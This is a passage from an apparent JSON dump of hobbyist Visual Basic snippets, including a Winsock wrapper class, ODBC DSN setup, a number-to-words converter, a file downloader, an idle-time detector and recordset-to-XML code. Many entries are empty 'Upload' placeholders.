Then HexNum = \"0\"\n BigDecToHex = HexNum\nEnd Function\n"},{"WorldId":1,"id":31523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23029,"LineNumber":1,"line":"Public Enum exColorTypes\n 'vbWhite = &HFFFFFF\n vbLightGray = &HE0E0E0\n vbGray = &HC0C0C0\n vbMediumGray = &H808080\n vbDarkGray = &H404040\n 'vbBlack = &H0\n vbPaleRed = &HC0C0FF\n vbLightRed = &H8080FF\n 'vbRed = &HFF\n vbMediumRed = &HC0&\n vbDarkRed = &H80&\n vbBlackRed = &H40&\n vbPaleOrange = &HC0E0FF\n vbLightOrange = &H80C0FF\n vbOrange = &H80FF&\n vbMediumOrange = &H40C0&\n vbDarkOrange = &H4080&\n vbBlackOrange = &H404080\n vbPaleYellow = &HC0FFFF\n vbLightYellow = &H80FFFF\n 'vbYellow = &HFFFF\n vbMediumYellow = &HC0C0&\n vbDarkYellow = &H8080&\n vbBlackYellow = &H4040&\n vbPaleGreen = &HC0FFC0\n vbLightGreen = &H80FF80\n 'vbGreen = &HFF00\n vbMediumGreen = &HC000&\n vbDarkGreen = &H8000&\n vbBlackGreen = &H4000&\n vbPaleCyan = &HFFFFC0\n vbLightCyan = &HFFFF80\n 'vbCyan = &HFFFF00\n vbMediumCyan = &HC0C000\n vbDarkCyan = &H808000\n vbBlackCyan = &H404000\n vbPaleBlue = &HFFC0C0\n vbLightBlue = &HFF8080\n 'vbBlue = &HFF0000\n vbMediumBlue = &HC00000\n vbDarkBlue = &H800000\n vbBlackBlue = &H400000\n vbPalePurple = &HFFC0FF\n vbLightPurple = &HFF80FF\n vbPurple = &HFF00FF\n 'vbMagenta = &HFF00FF\n vbMediumPurple = &HC000C0\n vbDarkPurple = &H800080\n vbBlackPurple = &H400040\nEnd Enum"},{"WorldId":1,"id":23371,"LineNumber":1,"line":"'------------------------------------------------------------------------\n'\n' Class Module clsWinsock\n' File: clsWinsock.cls\n' Author: Hector\n' Date: 5/10/01\n' Purpose: This class allows to use the winsock functions without having\n' to put a winsock control on a form. Make sure to have a\n' reference to the winsock.ocx in the project where you're going\n' to use this class or this won't work.\n'\n'------------------------------------------------------------------------\nOption Explicit\nPrivate WithEvents objSocket As Winsock\nPublic Event DataInStream(ByVal lngSocketNumber As Long, ByVal strData As String)\nPublic Event SocketClosed(ByVal lngSocketNumber As Long)\nPublic Event ConnectionRequested(ByVal lngSocketNumber As Long)\nPublic Event AcceptedSocket(ByVal lngSocketNumber As Long)\nPrivate mvarPortNumber As Long\nPrivate mvarCurrDataStream As String\nPrivate mvarCurrentID As Long\nPrivate blnSoftReturn As Boolean\n'*****************************************************************************************\n'* Property : CurrentSocketID\n'* Notes : Returns the current socket number.\n'*****************************************************************************************\nPublic Property Get CurrentSocketID() As Long\n \n CurrentSocketID = mvarCurrentID\n \nEnd Property\n'*****************************************************************************************\n'* Property : CurrDataStream\n'* Notes : Returns the raw input from the current socket.\n'*****************************************************************************************\nPrivate Property Let CurrDataStream(ByVal vData As String)\n \n mvarCurrDataStream = vData\n \nEnd Property\nPublic Property Get CurrDataStream() As String\n \n CurrDataStream = mvarCurrDataStream\n \nEnd Property\n'*****************************************************************************************\n'* Property : LocalPort\n'* Notes : Returns/Sets the port where the socket will be listening on.\n'*****************************************************************************************\nPublic Property Let LocalPort(ByVal vData As Long)\n \n mvarPortNumber = vData\n objSocket.LocalPort = vData\n \nEnd Property\n\nPublic Property Get LocalPort() As Long\n \n LocalPort = mvarPortNumber\n \nEnd Property\nPrivate Sub Class_Initialize()\nSet objSocket = New Winsock\nEnd Sub\nPrivate Sub Class_Terminate()\n If objSocket.State <> sckClosed Then objSocket.Close\n Set objSocket = Nothing\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure objSocket_ConnectionRequest\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Handles connection requests.\n' Result:\n' Input parameters: requestID\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPrivate Sub objSocket_ConnectionRequest(ByVal requestID As Long)\n If objSocket.State <> sckClosed Then objSocket.Close\n mvarCurrentID = requestID\n RaiseEvent ConnectionRequested(requestID)\nEnd Sub\n'-----------------------------------------------------------------------\n'\n' Procedure objSocket_DataArrival\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Handles data arriving to the socket.\n' Result:\n' Input parameters: bytesTotal\n'\n' Output parameters:\n'\n' Last Modification:\n' 5/22/01 - Finished the handling of broken packets (consecutive streams).\n'------------------------------------------------------------------------\nPrivate Sub objSocket_DataArrival(ByVal bytesTotal As Long)\n Dim strIncoming As String\n Static strInputBuffer As String\n Dim strOutBuffer As String\n Dim intPos As Integer\n objSocket.GetData strIncoming\n CurrDataStream = strIncoming\n mvarCurrentID = objSocket.SocketHandle\n \n ' Replace Carriage Returns/Line Feeds or just Line Feeds with\n ' a Carriage Return for consistant handling.\n strIncoming = Replace$(strIncoming, vbCrLf, vbCr)\n strIncoming = Replace$(strIncoming, vbLf, vbCr)\n \n ' Check for Carriage Returns in the incoming stream, and mark\n ' the position where it's found, if any.\n intPos = InStr(1, strIncoming, vbCr)\n \n ' Make sure that the Carriage Return is not at the beginning of the stream.\n ' If the Carriage Return is at position 1 then it means that it belongs to the\n ' previous stream.\n If intPos > 1 Then\n ' Grab a string including the Carriage Return for processing.\n strOutBuffer = Left$(strIncoming, intPos)\n strOutBuffer = StripCRLF(strIncoming)\n RaiseEvent DataInStream(mvarCurrentID, strOutBuffer)\n ' Flush the buffers so that data won't get added to the next stream.\n strOutBuffer = \"\"\n strInputBuffer = \"\"\n Else\n ' Add to the input buffer if there is no Carriage Return.\n strInputBuffer = strInputBuffer & strIncoming\n End If\n \n ' The code below handles broken packets, meaning that all the data did not\n ' come in one stream.\n '******************************************************************************\n If Right$(strIncoming, 1) = vbCr Then 'check last character\n blnSoftReturn = True\n End If\n If blnSoftReturn = True Then\n If Left$(strIncoming, 1) = vbCr Then\n strOutBuffer = Mid$(strInputBuffer, 1)\n strOutBuffer = StripCRLF(strOutBuffer)\n RaiseEvent DataInStream(mvarCurrentID, strOutBuffer)\n ' Flush the buffers so that data won't get added to the next stream.\n strOutBuffer = \"\"\n strInputBuffer = \"\"\n End If\n blnSoftReturn = False\n End If\n '*******************************************************************************\nEnd Sub\nPrivate Sub objSocket_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n ' Lame error handling. If you want something better go ahead and put it here. When there is\n ' and error, it usually means that the socked was disconnected.\n \n If objSocket.State <> sckClosed Then objSocket.Close\n MsgBox \"Something happened to socket #\" & CStr(Number)\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure StripCRLF\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Removes carriage returns and line feeds from incoming data.\n' Result:\n' Input parameters: strData\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPrivate Function StripCRLF(strData As String)\n Dim strHold As String\n \n strHold = Replace(strData, vbCr, \"\")\n strHold = Replace(strHold, vbLf, \"\")\n StripCRLF = strHold\n \nEnd Function\n\n'-----------------------------------------------------------------------\n'\n' Procedure SocketListen\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Allows the socket to listen to incoming transmitions.\n' Result:\n' Input parameters: None\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SocketListen()\n objSocket.Listen\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure SocketClose\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Stops the socket from listening to any more requests or data\n' arrivals.\n' Result:\n' Input parameters: None\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SocketClose()\n objSocket.Close\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure AcceptRequest\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Accepts a request to connect.\n' Result:\n' Input parameters: lngSocketNumber\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub AcceptRequest(ByVal lngSocketNumber As Long)\n objSocket.Accept lngSocketNumber\n RaiseEvent AcceptedSocket(lngSocketNumber)\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure SendData\n' Author: Hector\n' Date: 5/17/01\n' Purpose: Sends data to the user connected to this socket.\n' Result:\n' Input parameters: sDataToSend\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SendData(ByVal sDataToSend As String)\n objSocket.SendData sDataToSend\nEnd Sub"},{"WorldId":1,"id":25386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23040,"LineNumber":1,"line":"Dim n As Integer\nPrivate Sub cmdhi_Click()\n lblhi.Caption = \"HI\"\nEnd Sub"},{"WorldId":1,"id":23050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24849,"LineNumber":1,"line":"IN MODULE (.BAS)\nOption Explicit\nPublic Const vbAPINull As Long = 0&\nPrivate Const SQL_SUCCESS As Long = 0\nPrivate Const SQL_SUCCESS_WITH_INFO As Long = 1\nDeclare Function SQLAllocConnect Lib \"odbc32.dll\" (ByVal henv _\n As Long, phdbc As Long) As Integer\nDeclare Function SQLDisconnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long) As Integer\nDeclare Function SQLConnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long, ByVal szDSN As String, ByVal cbDSN As Integer, ByVal szUID As _\n String, ByVal cbUID As Integer, ByVal szAuthStr As String, ByVal _\n cbAuthStr As Integer) As Integer\nDeclare Function SQLFreeEnv Lib \"odbc32.dll\" (ByVal henv As _\n Long) As Integer\nDeclare Function SQLFreeConnect Lib \"odbc32.dll\" (ByVal hdbc _\n As Long) As Integer\nDeclare Function SQLError Lib \"odbc32.dll\" (ByVal henv As _\n Long, ByVal hdbc As Long, ByVal hstmt As Long, ByVal szSqlState As _\n String, pfNativeError As Long, ByVal szErrorMsg As String, ByVal _\n cbErrorMsgMax As Integer, pcbErrorMsg As Integer) As Integer\nDeclare Function SQLConfigDataSource Lib \"ODBCCP32\" _\n (ByVal hwndParent As Long, ByVal fRequest As Long, _\n ByVal lpszDriver As String, ByVal lpszAttributes As String) As Long\nIn Class (.CLS)\nOption Explicit\nPublic Enum peDSN_OPTIONS\n ODBC_ADD_DSN = 1\n ODBC_CONFIG_DSN = 2\n ODBC_ADD_SYS_DSN = 4\n ODBC_CONFIG_SYS_DSN = 5\nEnd Enum\nPublic Function RegisterDataSource(iFunction As peDSN_OPTIONS, sDSNName As String, sServerName As String, sDatabasename As String, sUserID As String, sPassword As String) As Integer\n Dim sAttributes As String\n Dim iRetVal As Integer\n \n \n \n sAttributes = \"DSN=\" & sDSNName _\n & Chr$(0) & \"Description=SQL Server on server \" & sServerName _\n & Chr$(0) & \"SERVER=\" & sServerName _\n & Chr$(0) & \"Database=\" & sDatabasename _\n & Chr$(0) & Chr$(0)\n iRetVal = SQLConfigDataSource(vbAPINull, iFunction, \"SQL Server\", sAttributes)\nEnd Function\n"},{"WorldId":1,"id":24904,"LineNumber":1,"line":"' in Module (.bas)\nOption Explicit\nPublic Const vbAPINull As Long = 0&\nPrivate Const SQL_SUCCESS As Long = 0\nPrivate Const SQL_SUCCESS_WITH_INFO As Long = 1\nDeclare Function SQLAllocConnect Lib \"odbc32.dll\" (ByVal henv _\n As Long, phdbc As Long) As Integer\nDeclare Function SQLDisconnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long) As Integer\nDeclare Function SQLConnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long, ByVal szDSN As String, ByVal cbDSN As Integer, ByVal szUID As _\n String, ByVal cbUID As Integer, ByVal szAuthStr As String, ByVal _\n cbAuthStr As Integer) As Integer\nDeclare Function SQLFreeEnv Lib \"odbc32.dll\" (ByVal henv As _\n Long) As Integer\nDeclare Function SQLFreeConnect Lib \"odbc32.dll\" (ByVal hdbc _\n As Long) As Integer\nDeclare Function SQLError Lib \"odbc32.dll\" (ByVal henv As _\n Long, ByVal hdbc As Long, ByVal hstmt As Long, ByVal szSqlState As _\n String, pfNativeError As Long, ByVal szErrorMsg As String, ByVal _\n cbErrorMsgMax As Integer, pcbErrorMsg As Integer) As Integer\nDeclare Function SQLConfigDataSource Lib \"ODBCCP32\" _\n (ByVal hwndParent As Long, ByVal fRequest As Long, _\n ByVal lpszDriver As String, ByVal lpszAttributes As String) As Long\n' In Class (.cls)\nOption Explicit\nPublic Enum peDSN_OPTIONS\n ODBC_ADD_DSN = 1\n ODBC_CONFIG_DSN = 2\n ODBC_ADD_SYS_DSN = 4\n ODBC_CONFIG_SYS_DSN = 5\nEnd Enum\nPublic Function RegisterDataSource(iFunction As peDSN_OPTIONS, sDSNName As String, sMDBPath As String, _\n Optional sUserID As String, Optional sPassword As String) As Integer\n Dim sAttributes As String\n Dim iRetVal As Integer\n \n If sUserID = \"\" Then sUserID = \"Admin\"\n \n sAttributes = \"DSN=\" & sDSNName _\n & Chr$(0) & \"Description=Microsoft Access Database (\" & sMDBPath & \")\" _\n & Chr$(0) & \"UID = \" & sUserID _\n & Chr$(0) & \"DefaultDir=\" & sMDBPath _\n & Chr$(0) & \"DBQ=\" & sMDBPath _\n & Chr$(0)\n iRetVal = SQLConfigDataSource(vbAPINull, iFunction, \"Microsoft Access Driver (*.mdb)\", sAttributes)\nEnd Function\n"},{"WorldId":1,"id":24906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31456,"LineNumber":1,"line":"'*********************\n' DECLARATIONS\n'*********************\nDim X As String 'the number input\nDim q As Long 'currently parsed-digit counter\nDim i As Long 'currently parsed 3-digit set, i.e., \"000######\", \"###000###\", etc\nDim NumberInText As String 'output, this is the translation of the numerical value\nDim BeginningInterval As Long 'counter to tract which 3-digit set the program is reading\nDim EndingInterval As Long 'counter to tract which 3-digit set the program is reading\nDim Temp As Variant 'temporary parse\n'===============================================\nPrivate Sub Translate(Number As String)\n\n'INPUT: \"NUMBER\" PARAMETER,i.e., some numerical value\n'OUTPUT: \"NumberInText$\" STRING, i.e., the number spelled out in words\n'ASSUMES: input must be in 9-digit format, use the format function to ensure that it is\n'REQUIRES: the following two related subs\n '1)HundredsPlaceOROnesPlace\n '2)TensPlace\n 'and also the above declarations\n\n'*********************\n' INITIALIZATION\n'*********************\nNumberInText$ = Empty\nq = Empty\ni = Empty\nBeginningInterval = Empty\nEndingInterval = Empty\nTemp = Empty\n'**********************\n' TRANSLATION\n'**********************\n 'the program reads the input in upto 3 sets (intervals) of 3 digits\n 'at a time i.e., the millions, thousands, and hundreds\n For i = 1 To 3\n 'the following counters keep track of which 3-digit set\n 'the program is reading from\n BeginningInterval = EndingInterval + 1\n EndingInterval = EndingInterval + 3\n 'now that the program has parsed upto three digits, its reads\n 'and translates one digit at a time\n For q = BeginningInterval To EndingInterval\n 'i use a temp variable to hold the single digit parse\n 'if the parse is a zero, then skip on over to the next digit\n Temp = Mid(X$, q, 1): If Temp = \"0\" Then GoTo Escape\n 'the next few lines essentially determines if the\n 'suffix, \"hundreds,\" is used and also determines\n 'where to send the parse for translation.\n If q = 1 Xor q = 4 Xor q = 7 Then Call HundredsPlaceOROnesPlace: NumberInText$ = NumberInText$ & \"Hundred \"\n If q = 2 Xor q = 5 Xor q = 8 Then Call TensPlace\n If q = 3 Xor q = 6 Xor q = 9 Then Call HundredsPlaceOROnesPlace\nEscape:\n Next q\n 'the next couple lines essentially determines\n 'if the suffix, million or thousand\n If EndingInterval = 3 And Not X$ Like \"000######\" Then NumberInText$ = NumberInText$ & \"Million \"\n If EndingInterval = 6 And Not X$ Like \"###000###\" Then NumberInText$ = NumberInText$ & \"Thousand \"\n Next i\nEnd Sub\n'===============================================\nPrivate Sub HundredsPlaceOROnesPlace()\n Select Case Temp\n Case Is = \"1\": NumberInText$ = NumberInText$ & \"One \"\n Case Is = \"2\": NumberInText$ = NumberInText$ & \"Two \"\n Case Is = \"3\": NumberInText$ = NumberInText$ & \"Three \"\n Case Is = \"4\": NumberInText$ = NumberInText$ & \"Four \"\n Case Is = \"5\": NumberInText$ = NumberInText$ & \"Five \"\n Case Is = \"6\": NumberInText$ = NumberInText$ & \"Six \"\n Case Is = \"7\": NumberInText$ = NumberInText$ & \"Seven \"\n Case Is = \"8\": NumberInText$ = NumberInText$ & \"Eight \"\n Case Is = \"9\": NumberInText$ = NumberInText$ & \"Nine \"\n Case Else:\n End Select\nEnd Sub\n'===============================================\nPrivate Sub TensPlace()\nIf Temp = 1 Then\n Temp = Mid(X$, q, 2)\n Select Case Temp\n Case Is = \"10\": NumberInText$ = NumberInText$ & \"Ten \": q = q + 1\n Case Is = \"11\": NumberInText$ = NumberInText$ & \"Eleven \": q = q + 1\n Case Is = \"12\": NumberInText$ = NumberInText$ & \"Twelve \": q = q + 1\n Case Is = \"13\": NumberInText$ = NumberInText$ & \"Thirteen \": q = q + 1\n Case Is = \"14\": NumberInText$ = NumberInText$ & \"Fourteen \": q = q + 1\n Case Is = \"15\": NumberInText$ = NumberInText$ & \"Fifteen \": q = q + 1\n Case Is = \"16\": NumberInText$ = NumberInText$ & \"Sixteen \": q = q + 1\n Case Is = \"17\": NumberInText$ = NumberInText$ & \"Seventeen \": q = q + 1\n Case Is = \"18\": NumberInText$ = NumberInText$ & \"Eighteen \": q = q + 1\n Case Is = \"19\": NumberInText$ = NumberInText$ & \"Nineteen \": q = q + 1\n End Select\nElse\n Select Case Temp\n Case Is = \"2\": NumberInText$ = NumberInText$ & \"Twenty \"\n Case Is = \"3\": NumberInText$ = NumberInText$ & \"Thirty \"\n Case Is = \"4\": NumberInText$ = NumberInText$ & \"Forty \"\n Case Is = \"5\": NumberInText$ = NumberInText$ & \"Fifty \"\n Case Is = \"6\": NumberInText$ = NumberInText$ & \"Sixty \"\n Case Is = \"7\": NumberInText$ = NumberInText$ & \"Seventy \"\n Case Is = \"8\": NumberInText$ = NumberInText$ & \"Eighty \"\n Case Is = \"9\": NumberInText$ = NumberInText$ & \"Ninety \"\n Case Else\n End Select\nEnd If\nEnd Sub\n'===============================================\nPrivate Sub Form_Load()\nAgain:\n X$ = InputBox(\"Enter any number less than a billion.\" & vbCrLf & vbCrLf & \"Type 'exit' to exit\", \"Number to Translate\")\n \n If X$ = \"exit\" Then\n GoTo Exiting\n Else\n X$ = Format(X$, \"000000000\") 'input must be in nine digit format\n Call Translate(X$)\n MsgBox Format(X$, \"###,###,###\") & \" = \" & vbCrLf & vbCrLf & NumberInText$, vbOKOnly, \"Translation\"\n GoTo Again:\n End If\nExiting:\nUnload Me\nEnd Sub\n"},{"WorldId":1,"id":24114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26910,"LineNumber":1,"line":"' Code By: Bradley Dick (bradley@bdick.com)\n'\n'\n'\n' Use this code as much as you like it really saved me a lot of headache. All I ask is that you reply and vote. Thanks All this is my first post....... \n'\n'\n' Explantion:\n' strUrl is the path to the file you want ie.(http://www.abc.com/logo.gif)\n' strFile is the path where you want to save the file and the name. ie.(C:\\logo.gif)\n'That's it... Just make sure that you include the Microsoft XML 3.0 or if you use a different on then just change the dim and the set statement..\n\nPrivate Sub GetFile(strURL As String, strFile As String)\n Dim xml As MSXML2.XMLHTTP30\n Dim X() As Byte\n Set xml = New MSXML2.XMLHTTP30\n xml.Open \"GET\", strURL, False\n xml.send\n X = xml.responseBody \n Open strFile For Binary Access Write As #1\n Put #1, , X()\n Close #1\nEnd sub"},{"WorldId":1,"id":23146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34053,"LineNumber":1,"line":"Function GetSqr(ByVal X As Double) As String\nDim Y As Double, Z As Double, N1 As Double, N2 As Double\nDim NA() As String\nZ = X\nY = 1\nReDim NA(0)\nDo\nZ = Z / Y\nY = GetLF(Z)\nReDim Preserve NA(UBound(NA) + 1)\nNA(UBound(NA)) = Y\nIf Y = Z Or Y = 1 Then Exit Do\nLoop\nDebug.Print Join(NA, \" \")\nN1 = 1\nN2 = 1\nFor Y = 1 To UBound(NA)\nFor Z = Y To UBound(NA)\nIf Z <> Y And NA(Z) = NA(Y) Then N1 = N1 * NA(Z): NA(Z) = 1: Exit For\nNext\nIf Z > UBound(NA) Then N2 = N2 * NA(Y)\nNA(Y) = 1\nNext\nIf N2 > 1 Then GetSqr = N1 & \"~\" & N2 Else GetSqr = N1\n\nEnd Function\nFunction GetLF(X As Double)\nFor N1 = 2 To Fix(X / 2) + 1\nIf Fix(X / N1) = (X / N1) Then GetLF = N1: Exit Function\nNext\nGetLF = X\nEnd Function"},{"WorldId":1,"id":25269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23381,"LineNumber":1,"line":"Option Explicit\nPublic Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPublic Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPublic Function CheckIdleState()As String\nDim kKey As Integer 'Stores each Key on the keyboard in the for next loop\nDim CurrentMousePos As POINTAPI 'Used to store the current mouse position\nStatic OldMousePos As POINTAPI 'Static-keeps the old mouse position\nStatic IdleTime As Date 'Stores the time in a date variable\nDim SystemIdle As Boolean 'Stores weather the systme is idle or not\nSystemIdle = True 'Sets the idle value to true\nFor kKey = 1 To 256 'steps through each key on the keyboard it detect if\n If GetAsyncKeyState(kKey) <> 0 Then 'any of the keys have been pressed\n Debug.Print \"Key Pressed\"\n SystemIdle = False 'Sets the idle value to false\n Exit For 'Exits the for next loop so that it will move on to the next step\n End If\nNext\nGetCursorPos CurrentMousePos 'Gets the current cursor position and stores it\nIf CurrentMousePos.X <> OldMousePos.X Or _\nCurrentMousePos.Y <> OldMousePos.Y Then 'Checks to see if the cursor has moved\n Debug.Print \"Mouse Moved\"\n SystemIdle = False 'since the last time it was checked\nEnd If\nOldMousePos = CurrentMousePos 'Stores the current mouse position for comparring positons the\n 'next time through\nIf SystemIdle = True Then 'If a key hasn't been pressed and the mouse hasn't moved\n If DateDiff(\"s\", IdleTime, Now) >= 60 Then 'it sets the return value to the elapsed time value\n IdleTime = Now 'Resets the time to check the next minute for idle\n CheckIdleStaate = CheckIdleState + 1 'sets the return value in minutes of being idle\n End If\nElse\n IdleTime = Now 'Sets the new Current Idle Time to check for elapsed time\nEnd If\nEnd Function\n"},{"WorldId":1,"id":23613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34060,"LineNumber":1,"line":"http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=33571&lngWId=1"},{"WorldId":1,"id":33452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27451,"LineNumber":1,"line":"Private mfso\nPrivate mfd\nPrivate mRegStream\nPrivate mURegStream\nPrivate mcstrHeader\nPrivate mcstrErrText\nPrivate mcstrFooter\nPrivate mlngPtr\nmcstrHeader = \"@echo off\" & vbCrLf & \"cls\" & vbCrLf & \"echo [REG]...\" & vbCrLf & vbCrLf & \"set has_err=0\" & vbCrLf & \"set errors=0\" & vbCrLf & \"set e_text=0\" & vbCrLf & vbCrLf\nmcstrErrText = \"if errorlevel=1 set has_err=1\" & vbCrLf & \"if errorlevel=1 set errors=[SEQ]\" & vbCrLf & \"if errorlevel=0 set e_text=%errors%\" & vbCrLf & vbCrLf\nmcstrFooter = \"set e_text=Error, Line %e_text%\" & vbCrLf & vbCrLf & \"if %has_err%==0 set e_text=No Errors\" & vbCrLf & vbCrLf & \"cls\" & vbCrLf & \"echo [REG]!\" & vbCrLf & \"echo %e_text%\" & vbCrLf & \"pause\"\nmlngPtr = 0\nmlnghFileReg = 1\nmlnghFileUReg = 2\nIf MsgBox(\"Create Un/Register Batch Files?\", vbYesNo, \"Dll Auto-Register\") = vbYes Then\n Set mfso = CreateObject(\"Scripting.FileSystemObject\")\n Set mfd = mfso.GetFolder(\"C:\\\")\n Set mRegStream = mfd.CreateTextFile(\"Register.bat\", True, False)\n Set mURegStream = mfd.CreateTextFile(\"UnRegister.bat\", True, False)\n mRegStream.Write Replace(mcstrHeader, \"[REG]\", \"Registering\")\n mURegStream.Write Replace(mcstrHeader, \"[REG]\", \"Un-Registering\")\n SetDllRegText \"C:\\Your Project\\Dev\\\"\n mRegStream.Write Replace(mcstrFooter, \"[REG]\", \"Registered\")\n mURegStream.Write Replace(mcstrFooter, \"[REG]\", \"Un-Registered\")\n mRegStream.Close\n mURegStream.Close\n MsgBox \"Done.\", vbOKOnly, \"Dll Auto-Register\"\nEnd If\nPrivate Sub SetDllRegText(ByVal strSearchPath)\n Dim dr\n Dim sfld\n Dim f\n Dim strPrintData\n If Right(strSearchPath, 1) <> \"\\\" Then strSearchPath = strSearchPath & \"\\\"\n \n Set dr = mfso.GetFolder(strSearchPath)\n \n For Each f In dr.Files\n If Right(LCase(f.Name), 4) = \".dll\" Or Right(LCase(f.Name), 4) = \".ocx\" Then\n mlngPtr = mlngPtr + 1\n strPrintData = Replace(mcstrErrText, \"[SEQ]\", mlngPtr)\n mRegStream.Write \"regsvr32.exe \" & \"\"\"\" & strSearchPath & f.Name & \"\"\" /s\" & vbCrLf & strPrintData\n mURegStream.Write \"regsvr32.exe /u \" & \"\"\"\" & strSearchPath & f.Name & \"\"\" /s\" & vbCrLf & strPrintData\n End If\n Next\n \n If dr.SubFolders.Count Then\n For Each sfld In dr.SubFolders\n If Err.Number Then Exit For\n SetDllRegText sfld.Path\n Next\n End If\nEnd Sub\n"},{"WorldId":1,"id":23297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31557,"LineNumber":1,"line":"' Coded by Deltaoo\n' Mail deltaoo@hotmail.com\n'-------------------------------\n'Use this code to convert a recordset to XML\n' Use bGenerate_XML as boolean\nOption Explicit\n' -- CONSTANTS --\nConst XML_OPEN = \"<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>\"\nConst XML_CLOSE = \"\" '\"</xml>\"\n\nPrivate Function AddNode(strNodeValue As String, strNodeName As String) As String\nDim strRet As String\n strRet = \" <\" & LCase(ReplaceString(strNodeValue)) & \">\"\n strRet = strRet & strNodeName & \"</\" & LCase(ReplaceString(strNodeValue)) & \">\"\n AddNode = strRet\n'\nEnd Function\nPublic Function bGenerate_XML(strParentName As String, oRS As ADODB.Recordset, ByRef strXML As String) As Boolean\nDim strRet As String\nDim n As Integer\nDim strRootName As String\nOn Error Resume Next ' Must handle the error for NULLS///\n strRootName = Trim(LCase(strParentName)) & \"s\"\n strParentName = LCase(strParentName)\n strRet = XML_OPEN & vbCrLf\n strRet = strRet & \"<\" & strRootName & \">\" & vbCrLf\n With oRS\n Do Until .EOF\n strRet = strRet & \" <\" & strParentName & \">\" & vbCrLf\n For n = 0 To .Fields.Count - 1\n strRet = strRet & AddNode(.Fields(n).Name, .Fields(n)) & vbCrLf\n Next n\n .MoveNext\n strRet = strRet & \" </\" & strParentName & \">\" & vbCrLf\n Loop\n End With\n strRet = strRet & \"</\" & strRootName & \">\" & vbCrLf\n strRet = strRet & XML_CLOSE & vbCrLf\n ' test the XML Before sending it back to the Caller\n bGenerate_XML = b_XML_OK(strRet)\n strXML = strRet\nEnd Function\nPrivate Function ReplaceString(strValue) As String\nDim strRet\n If IsNull(strValue) Then strValue = \"\"\n strRet = strValue\n strRet = Replace(strRet, \"&\", \"&\")\n strRet = Replace(strRet, \"<\", \"<\")\n strRet = Replace(strRet, \">\", \">\")\n strRet = Replace(strRet, \"\"\"\", \""\")\n strRet = Replace(strRet, \"'\", \"'\")\n ' -- Pass the value back --\n ReplaceString = strRet\nEnd Function\nPrivate Function b_XML_OK(strXMLData As String) As Boolean\nDim oDOM As MSXML2.DOMDocument\nDim bProcOK As Boolean\n Set oDOM = CreateObject(\"MSXML2.DOMDocument\")\n bProcOK = oDOM.loadXML(bstrXML:=strXMLData)\n If Not bProcOK Then strXMLData = oDOM.parseError.reason\n Set oDOM = Nothing\n b_XML_OK = bProcOK\nEnd 